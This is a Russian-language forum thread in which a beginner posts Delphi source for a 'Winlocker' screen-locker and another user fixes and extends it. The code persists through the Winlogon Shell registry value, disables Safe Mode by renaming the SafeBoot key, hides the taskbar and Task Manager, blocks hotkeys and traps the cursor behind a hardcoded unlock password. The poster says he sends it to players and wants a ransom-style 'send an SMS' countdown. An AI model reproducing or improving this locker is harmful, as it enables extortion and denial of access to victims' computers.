Ребят помогите Вот сделал Винлокер хочу сделать что бы на форме еще был таймер отсчитывающий 300 сек . Чисто таймер получаеться а вот вместе с вирусняком ошибки . Я как бы не очень в программировании Помогите Вот сам винлокер и надо на таймер2 закинуть обратный отсчет
procedure TForm1.FormCreate(Sender: TObject); Procedure SafeBoot(Block: Boolean); var Reg: TRegistry; Begin Reg:=TRegistry.Create; Try Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True); If Block Then Begin Reg.MoveKey('SafeBoot','SystemNls',True); Reg.Free; End Else Begin Reg.MoveKey('SystemNls','SafeBoot', True); Reg.Free; End; Except Reg.Free; End; End; function GetSpecialPath(CSIDL: word): string; type gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL): BOOL; stdcall; var s: String; GetPath: gPath;
begin KeyPreview := true; @GetPath:=GetProcAddress(LoadLibrary('shell32.dll'), 'SHGetSpecialFolderPathA'); SetLength(s, MAX_PATH); if not GetPath(0, PChar(s), CSIDL, true) then s:=GetSpecialPath($001a); result:=PChar(s); end; var
Procedure Timer; begin dec(i); if i=0 then begin KillTimer(GetForeGroundWindow,T); //останавливаю таймер T MessageBox(GetForeGroundWindow,'Время вышло','Внимание',0); //можно ещё чего-нибудь написать... end; end;
На событии FormCreate добавь перед строчкой CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False); вот это:
Code
SetTimer(Handle,T,1000,@Timer);
P.S Выложи весь проект и я сделаю.Ото много лишнего кода у тебя.
Сообщение отредактировал Neo - Пятница, 14.12.2012, 16:56
type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Image1: TImage; Timer1: TTimer; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); function GetSpecialPath(CSIDL: word): string; private { Private declarations } public { Public declarations } end;
var Form1: TForm1; i:Integer=300; T:DWord; implementation
{$R *.dfm} Procedure SafeBoot(Block: Boolean); //Даже не используешь её))) var Reg: TRegistry; Begin Reg:=TRegistry.Create; Try Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True); If Block Then Begin Reg.MoveKey('SafeBoot','SystemNls',True); Reg.Free; End Else Begin Reg.MoveKey('SystemNls','SafeBoot', True); Reg.Free; End; Except Reg.Free; End; End;
function TForm1.GetSpecialPath(CSIDL: word): string; type gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL): BOOL; stdcall; var s: String; GetPath: gPath; begin KeyPreview := true; @GetPath:=GetProcAddress(LoadLibrary('shell32.dll'), 'SHGetSpecialFolderPathA'); SetLength(s, MAX_PATH); if not GetPath(0, PChar(s), CSIDL, true) then s:=GetSpecialPath($001a); result:=PChar(s); end;
Procedure Timer; begin dec(i); if i=0 then begin KillTimer(GetForeGroundWindow,T); //останавливаю таймер T MessageBox(GetForeGroundWindow,'Время вышло','Внимание',0); //можно ещё чего-нибудь написать... end; end;
procedure TForm1.FormCreate(Sender: TObject); var hTaskBar : THandle; TDWH:THandle; Reg: TRegistry; begin { Зачем два раза добавлять в автозагрузку??? CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False); } SetTimer(Handle,T,1000,@Timer);//запускаю 2 таймер CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True); Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true); Reg.WriteString('SHELL','Explorer.exe,' + 'C:\Windows\' + ExtractFileName(ParamStr(0))); Reg.CloseKey; Reg.Free; ShowWindow(Application.handle, SW_HIDE); SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_HIDE); ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE); RegisterHotKey(Handle, 1, MOD_ALT, VK_TAB); TDWH:=FindWindow(nil,'Диспетчер задач Windows'); if TDWH=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE) else ShowWindow(TDWH,SW_HIDE); end;
procedure TForm1.Button1Click(Sender: TObject); var hTaskBar : THandle; TDWH:THandle; Password:string[10]; begin Password:=edit1.text; If (Password='180887') then begin SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ; ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW); hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL); TDWH:=FindWindow(nil, 'Диспетчер задач Windows'); ShowWindow(TDWH,SW_SHOWNORMAL); UnRegisterHotKey(Handle, 1); Close; end else Edit1.Clear; end;
procedure TForm1.Timer1Timer(Sender: TObject); var h:HWND; curs: TRect; begin Form1.FormStyle := fsStayOnTop; h:=FindWindow('Progman',nil); ShowWindow(h,sw_hide); h:=FindWindow('Shell_TrayWnd',nil); ShowWindow(h,sw_hide); h:=FindWindow(nil,'Редактор реестра'); ShowWindow(h,sw_hide); h:=FindWindow(nil,'Настройка системы'); ShowWindow(h,sw_hide); h:=FindWindow(nil,'Диспетчер задач Windows'); ShowWindow(h,sw_hide); SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE); curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0); ClipCursor(@curs); Windows.Beep(500,600) end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if ((ssAlt in Shift) and (Key = VK_F4)) then Key := 0; end;
{ Зачем два раза добавлять в автозагрузку??? CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False); }
для семерки и для хп )) я же говорю я новичек . Просто читеров в одной игре блокирую кстати а ты не мог бы дать свой скайп так сказать для дальнейшего моего развития )) Проблема осталась. Мне надо что бы эти 300 сек были видны на форме тоесть человек запускает вирус и у него пошел обратный отсчет типо мол не отправишь смс хана компу ну в течении 300 сек . а по истечению времени просто вывести сообщение поплатился читер ну или что то подобное . Кстати я это вирус читерам кидаю с одной игры . Да и твой вышеизложенный код там почему то аль +ф4 срабатывает а в моем нет
Сообщение отредактировал satahehok11 - Пятница, 14.12.2012, 17:41